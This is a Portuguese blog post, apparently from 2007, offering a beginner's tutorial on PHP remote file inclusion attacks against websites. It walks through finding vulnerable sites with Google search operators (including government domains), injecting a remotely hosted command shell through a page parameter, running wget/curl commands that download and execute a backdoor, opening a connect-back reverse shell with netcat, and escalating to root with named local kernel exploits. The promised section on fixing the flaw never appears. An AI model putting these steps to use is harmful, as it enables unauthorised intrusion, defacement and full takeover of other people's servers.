Administra o teu Blog

Cria o teu Blog Já! Fácil e Grátis

Tutorial de php injection bruno-tk — 23-10-2007 GTM 11 @ 10:51

1) Introdução

Já que muita gente pede ajuda sobre php injection, resolvi fazer

um tutorial de simples entendimento pra facilitar a vida da galera new.

Esta falha consiste em usuários incluirem scripts no codigo php da

vitima e este ser executado. Quando corretamente utilizado, que é o que

explicarei nesse tutorial, o intruso pode setar comandos ao servidor.

Boa parte do processo pode ser feito pelo próprio browser (IE,

mozilla, netscape...).

Tentarei explicar como procura, explora e corrige o bug. Espero

ser util para todos ;)

Obs1.: Este tutorial foi feito para explicar uma das maneiras utilizadas

por pessoas para desfigurar sites mas pode ser utlizado para outros fins.

Vai da cabeça de cada um :P

Obs2.: No final, terão urls com os programas citados.

2) O que é o que

Vitima : Site que você irá explorar a falha de php.

String : Arquivos no site suceptiveis ao ataque.

Cmd : Script em PHP que nos possibilita digitar

comandos a serem incluidos no php.

Backdoor : Abre portas no sistema para conexão remota 'sem

autenticação'.

Connect Back : Abre uma porta especifica para conexao entre seu

pc e a vitima.

Exploit : Programa que explora certa falha num sistema.

Há vários tipos de Exploits. Aqui, iremos

tratar apenas com Local Root Exploits. (exploram

falhas localmente que levam usuários comuns a

acesso root - super-usuário -)

Shell : É um programa interpretador de comandos que

permite ao usuário iteragir com o sistema

operacional através de comandos digitados.

Telnet : Utilizaremos para conexões remotas.

Firewall : É uma barreira inteligente entre uma rede local

e a Internet, através da qual só passa tráfego

autorizado. Este tráfego é examinado pelo

firewall em tempo real e a seleção é feita de

acordo com a regra."o que não foi expressamente

permitido, é proibido"

root : Super-usuário. É o admin... tem acesso total ao

sistema.

------------------- No browser

3) Strings

Há várias strings disponíveis. Neste tutorial, irei utilizar para

exemplos uma bem simples que é " index.php?page= ". Em anexo, no final,

várias outras :P

4) Sintaxe

Ex.:

www.site.com /arquivo.php?data= http://cmd/cmd.gif?&cmd= ls

^ ^ ^ ^

Vitima String CmD comando unix

P.S.: Sem os espaços.

5) Procurando site vulnerável.

Uma excelente ferramente para os kiddies, sem dúvida, é o google.

Há várias maneiras de fazer buscas por ele, dentre elas:

Obs.: A palavra 'word' q irei citar aqui é qualquer coisa que você esteja

procurando no sistema de busca.

word : Busca por sites q contenham a 'word' em qualquer

lugar da pagina.

allinurl: : Sites que contenham na url a word citada. Ex:

www.site.com/forum/word.php?id=0 .

allintitle: : Restringe sua pesquisa ao título da página.

intitle: : Parecido com o de cima, para maiores

esclarecimentos no final do tuto.

inanchor: : Busca nos links dentro co corpo dos sites.

href="PROCURA AQUI DENTRO">

site: : Procura sites de um determinado domínio. Ex:

site:br <- procura sites .br

link: : Sites que contenham links para um outro

determinado site. Ex: link:www.securityfocus.com

filetype: : Filtra por extensões de arquivos. Ex:

filetype:php <- procura apenas urls .php

Essas dicas devem ser uteis não apenas na busca de sites

vulneraveis, mas também nas buscas comuns para você ;)

Utilizando a string "index.php?page=" para sites .gov -->

allinurl:index.php?page= site:gov

Fácil..

.

Você também pode usar um scanner pra tornar o processo mais

eficiente. kieger (membro do r00t_System grouP) codou um em perl:

Procura com o sistema do google, testa e imprime os vulneraveis num

arquivo. Código no final do tutorial.

6) Utilizando a CmD

6.1) Incluindo

Cmd = http://rootsystem.100free.com/cmd/cse.gif?&cmd=

(coded by Crash from datacha0s group.)

No resultado, insira a cmd na string. Ex:

www.site.com/index.php?page=http://rootsystem.100free.com/cmd/cs

e.gif?&cmd=

Não tem mistério.

6.2) A Cmd

datacha0s - PHP Command/Safemode Exploit

System Information

sysname: --> Sistema operacional rodando.

nodename: --> Nome local.

release: --> Versão do kernel.

Script Current User: --> Usuário pelo qual o script está sendo executado.

PHP Version: --> Versão do php da máquina

User Info: --> Informação do user (uid, euid, gid).

Current Path: --> Pasta atual que você está no server.

Server IP: --> Ip do servidor.

Web Server: --> Informações sobre o servidor.

[*] Command Mode Run

Command Stdout

(( aqui ficarao os resultados dos comandos ))

(( inseridos na cmd ))

Obs.: O script varia de cmd a cmd. Este é apenas um exemplo.

7) Ganhando acesso a shell

Para os próximos passos, você precisa estar na shell

(interpretador de comandos) da máquina. Para isto, explicarei duas

maneiras de tornar isto possível: Backdoor e Connect Back.

7.1) Rodando backdoor no server para conexão remota

Para rodar um backdoor, basta fazer um upload, escolher

permissões, e executá-lo.

Comando: cd /var/tmp;wget www.site.onde.está.o.backdoor.com/backd

oor;chmod 777 backdoor;./backdoor

cd /var/tmp -> Faz a operação nesta pasta, por ser comum a

todos os usuários e devido às suas permissões.

/tmp tb serve :)

wget www.(...)/backdoor -> Copia o backdoor a partir de uma url para o

site. Quando wget não funcionar, tente outros

comandos. Sintaxes:

wget www.site.com/arquivo

lynx -source www.site.com/arquivo > arquivo

curl -o arquivo www.site.com/arquivo

GET www.site.com/arquivo > arquivo

(...)

Após feito isso, aparecerá a seguinte mensagem:

Daemon Working...

pid = XXXXX

Isto significa que o backdoor está rodando.

Agora, basta conectar-se à shell. Como?

No Win: Iniciar -> Executar -> telnet www.site.com porta

Onde o www.site.com recebe o nome ou ip do site que você rodou o

backdoor e porta é a porta que o backdoor está trabalhando.

Se aparecer no telnet bash-2.05b$ ou algo parecido, é porque

funcionou! E você tem acesso à shell na máquina!

Se demorar um tempo e não cair na shell, confira o nome/ip do

server.. se estiver correto, ele está rodando Firewall. E agora?

simples, Connect Back. :P

7.2) Connect Back

Método muito eficiente para ganhar shell numa máquina. Ganha shell

reversamente.

Windows: Baixe o netcat para windows e no Prompt do MSDOS (na

pasta que o nc se encontra), digite: nc -vv -l -p 15 , onde 15

pode ser escolhido de acordo com sua preferência. Esta porta será a que

realizará a conexão.

Agora, voltando para o browser, na cmd digite o seguinte comando:

cd /var/tmp;wget www.site.do.dc.com/dc;chmod 777 dc;./dc IP porta

cd /var/tmp -> Mesmo que para backdoor.

wget www.site.do.dc.com/dc -> | | | | , mas é logico, com o

endereço da dc.

./dc IP porta -> onde IP é o SEU IP e porta é a porta

que você escolheu no netcat.

Feito isso, se ocorrer tudo certo, aparecerá como resultado:

Connect Back Backdoor

[*] Dumping Arguments

[*] Resolving Host Name

[*] Connecting...

[*] Spawning Shell

[*] Detached

Isto significa que você se conectou na shell! ;) Agora, vá para o

MSDOS e vamos para o próximo passo.

Se aparecer

Connect Back Backdoor

[*] Dumping Arguments

[*] Resolving Host Name

[*] Connecting...

[-] Unable to Connect

confira os dados (seu ip, porta, netcat, etc). Se insistir, sua

rede não aceita este tipo de conexão. Tente outras portas (como 80, 22,

15, etc).

---------------------------------- Na Shelll

8) Comandos básicos

Eu ia passar direto nessa parte, mas sei que muitos não conhecem

os comandos unix. Então vamos conhecer alguns:

ls -> Lista arquivos. Pode ser combinado com -a (mostra

ocultos) e -l (mostra detalhadamente). Ex: ls -la

(mostra detalhadamente os arquivos, inclusive ocultos).

uname -a -> Mostra informações do sistema, como versão do kernel,

nome, e outras coisas uteis.

id -> Mostra sua id.
w -> Lista os usuários logados no momento.
cp -> Copia arquivos. Sintaxe: cp arquivo /destino/
mv -> Move arquivos. Sintexe: mv arquivo /destino/
rm -> Remove arquivos. Se combinado com -rf , remove todos

os arquivos setados, inclusive pastas

mkdir -> Cria diretorio
rmdir -> Exclui diretorio
find -> Procura por arquivos/pastas. Ex: " find /etc -name
httpd.conf " procura pelo httpd.conf na pasta /etc
pwd -> Mostra em que pasta você está localizado
cat -> Exibe o conteúdo de um arquivo na tela
head -> Exibe linhas do início do arquivo
tail -> || || || final do arquivo
ctrl+c -> Sai/killa um programa
ctrl+r -> Busca comando digitado no history do bash
ps -auxw -> Lista todos os processos do sistema
netstat -na -> Status da conexão
kill -9 -> Mata processo. Sintaxe: kill -9 PID DO PROCESSO
kill -HUP -> Reinicia processo. Sintaxe: kill -HUP ID DO PROCESSO
pico -> Editor de texto. Sintaxe: pico arquivo
vi -> | | vi arquivo

Salvando resultados em arquivos

comando > /arquivo/onde/será/armazenado

Ex: ls /etc > /tmp/s.txt salva todo o resultado da listagem de

/etc no arquivo /tmp/s.txt

Adicionando linhas em arquivos

echo ' linha ' >> /arquivo/onde/será/incluido

Descompactando arquivos (os mais comuns)

.tar -> tar xvf arquivo.tar
.tar.gz -> tar zxvf arquivo.tar.gz
.tar.bz2 -> tar jxvf arquivo.tar.bz2
.zip -> unzip arquivo.zip

Compactando arquivos (os mais comuns)

.tar -> tar cvf destino.tar ARQUIVO
.tar.gz -> tar cvf destino.tar ARQUIVO | gzip destino.tar
.tar.bz2 -> tar cvf destino.tar ARQUIVO | bzip2 destino.tar

9) Ganhando acesso root

Para ganhar acesso root localmente numa máquina, vai depender

muito. Você precisa de um exploit local e o sistema deve estar vulnerável.

Simples, basta baixar, escolher as permissões e executar.. assim

como você faz com o backdoor.. mas isto você faz na shell.

Os mais comuns no momento são mremap , brk e kmod para kernel

abaixo de 2.4.24

Se tudo ocorrer corretamente rootando a máquina, ao digitar o

comando "id" você verá

bash-2.05b# id

uid=0(root) gid=0(root)

Pronto! Você é root! Divirta-se ;)

Do Melhor Linkk | del.icio.us

Um Comentário »

  1. rheynz4@gmail.com

    Cara muito bom esta tutorial, se vc fizer mais me manda um aviso pelo meu email.Vlw.Flw ate ++

Deixar um Comentário


<a href> <em> <blockquote> <strong> <cite> <code> <ul> <li> <dl> <dt> <dd>